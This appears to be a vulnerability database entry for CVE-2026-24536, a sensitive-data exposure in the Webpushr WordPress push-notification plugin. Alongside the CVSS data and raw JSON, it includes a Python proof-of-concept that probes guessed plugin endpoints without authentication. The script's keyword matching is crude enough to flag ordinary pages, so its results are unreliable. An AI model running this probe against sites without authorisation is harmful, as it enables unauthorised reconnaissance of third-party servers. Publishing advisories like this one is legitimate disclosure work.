Security Vulnerability Report
中文
CVE-2026-24536 CVSS 5.3 MEDIUM

CVE-2026-24536

Published: 2026-01-23 15:16:10
Last Modified: 2026-04-28 15:16:11

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in webpushr Webpushr webpushr-web-push-notifications allows Retrieve Embedded Sensitive Data.This issue affects Webpushr: from n/a through <= 4.38.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Webpushr Web Push Notifications Plugin <= 4.38.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24536 PoC - Webpushr Sensitive Data Exposure # Affected: WordPress Webpushr Web Push Notifications Plugin <= 4.38.0 import requests import json import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-24536 """ # Common WordPress plugin endpoints endpoints = [ '/wp-json/webpushr/v1/', '/wp-json/webpushr/v1/config', '/?rest_route=/webpushr/v1/config', '/wp-content/plugins/webpushr-web-push-notifications/' ] vulnerable = False results = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains sensitive data patterns content = response.text.lower() sensitive_patterns = [ 'api_key', 'app_id', 'token', 'subscriber', 'webpushr', 'serviceworker', 'push', 'subscription' ] found_patterns = [p for p in sensitive_patterns if p in content] if found_patterns: vulnerable = True results.append({ 'endpoint': endpoint, 'status': response.status_code, 'sensitive_data_found': found_patterns, 'response_preview': response.text[:500] }) except requests.exceptions.RequestException as e: results.append({ 'endpoint': endpoint, 'error': str(e) }) return vulnerable, results if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2026-24536_poc.py <target_url>') print('Example: python cve-2026-24536_poc.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Checking CVE-2026-24536 on {target}') print(f'[*] Target: Webpushr Web Push Notifications Plugin <= 4.38.0\n') is_vulnerable, findings = check_vulnerability(target) if is_vulnerable: print('[+] VULNERABLE - Sensitive data exposure detected!') print('\n[+] Findings:') for finding in findings: print(json.dumps(finding, indent=2)) else: print('[-] Target does not appear to be vulnerable.') print('\n[*] Scan results:') for result in findings: print(json.dumps(result, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24536", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:09.733", "lastModified": "2026-04-28T15:16:11.420", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in webpushr Webpushr webpushr-web-push-notifications allows Retrieve Embedded Sensitive Data.This issue affects Webpushr: from n/a through <= 4.38.0."}, {"lang": "es", "value": "Exposición de Información Sensible del Sistema a una Esfera de Control No Autorizada en webpushr Webpushr webpushr-web-push-notifications permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Webpushr: desde n/a hasta &lt;= 4.38.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/webpushr-web-push-notifications/vulnerability/wordpress-webpushr-plugin-4-38-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}